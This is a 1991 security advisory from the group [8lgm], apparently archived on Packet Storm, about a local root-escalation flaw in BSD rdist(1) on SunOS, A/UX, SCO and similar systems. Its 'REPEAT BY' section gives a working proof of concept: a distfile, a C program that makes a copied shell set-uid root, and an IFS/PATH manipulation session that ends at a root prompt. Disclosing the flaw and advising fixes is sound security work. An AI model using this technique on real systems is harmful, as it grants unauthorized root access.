never stop questioning

8lgm-01.txt

8lgm-01.txt
Posted Sep 23, 1999

8lgm-01.txt

MD5 | 909b110deb81e76adc98b00a6a197788

8lgm-01.txt

Change Mirror Download

This advisory has been sent to:

comp.security.unix
INFOHAX <infohax-emergency@stormking.com>
BUGTRAQ <chasin@crimelab.com>
CERT/CC <cert@cert.org>

===========================================================================
[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991

PROGRAM:

rdist(1) (/usr/ucb/rdist or /usr/bin/rdist)

VULNERABLE OS's:

SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this)
A/UX 2.0.1
SCO 3.2v4.2
BSD NET/2 Derived Systems

Most systems supporting BSD rdist


DESCRIPTION:

rdist(1) uses popen(3) to execute sendmail(8) as root. It can
therefore be made to execute arbitary programs as root.

IMPACT:

Any user with access to rdist(1) can become root.

REPEAT BY:

This example demonstrates how to become root on most affected
machines by creating a set-uid root shell. Please do not do
this unless you have permission.

Create the following file, 'distfile':

8<--------------------------- cut here ----------------------------
HOSTS = localhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
install /tmp/1 ;
notify user ;
8<--------------------------- cut here ----------------------------

Create the following file, 'usr.c':

8<--------------------------- cut here ----------------------------
main()
{
setuid(0);
chown("sh", 0, 0);
chmod("sh", 04755);
exit(0);
}
8<--------------------------- cut here ----------------------------

(Lines marked with > represent user input)

> % cp /bin/sh .
> % cc -o usr usr.c
> % set path=(. $path)
> % setenv IFS /
> % rdist
updating host localhost
rdist: BullInTheHeather: No such file or directory
notify @localhost ( user )
> % ls -l
-rwsr-xr-x 1 root 106496 Mar 4 00:25 sh
> % ./sh
#

FIX:

1. Contact your vendor for a fix. Sun's latest rdist patch
(Patch-ID# 100383-06) fixes this hole in SunOS. Some vendors
closed this hole while fixing an unrelated problem published
by CERT in their advisory: CA-91:20.rdist.vulnerability.

2. In the meantime, restrict access to rdist.


FEEDBACK AND CONTACT INFORMATION:

8lgm-bugs@bagpuss.demon.co.uk (To report security flaws)

8lgm-request@bagpuss.demon.co.uk (Request for [8lgm] Advisories)

8lgm@bagpuss.demon.co.uk (General enquiries)

System Administrators are encouraged to contact us for any
other information they may require about the problems described
in this advisory.

We welcome reports about which platforms this flaw does or does
not exist on.

===========================================================================


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close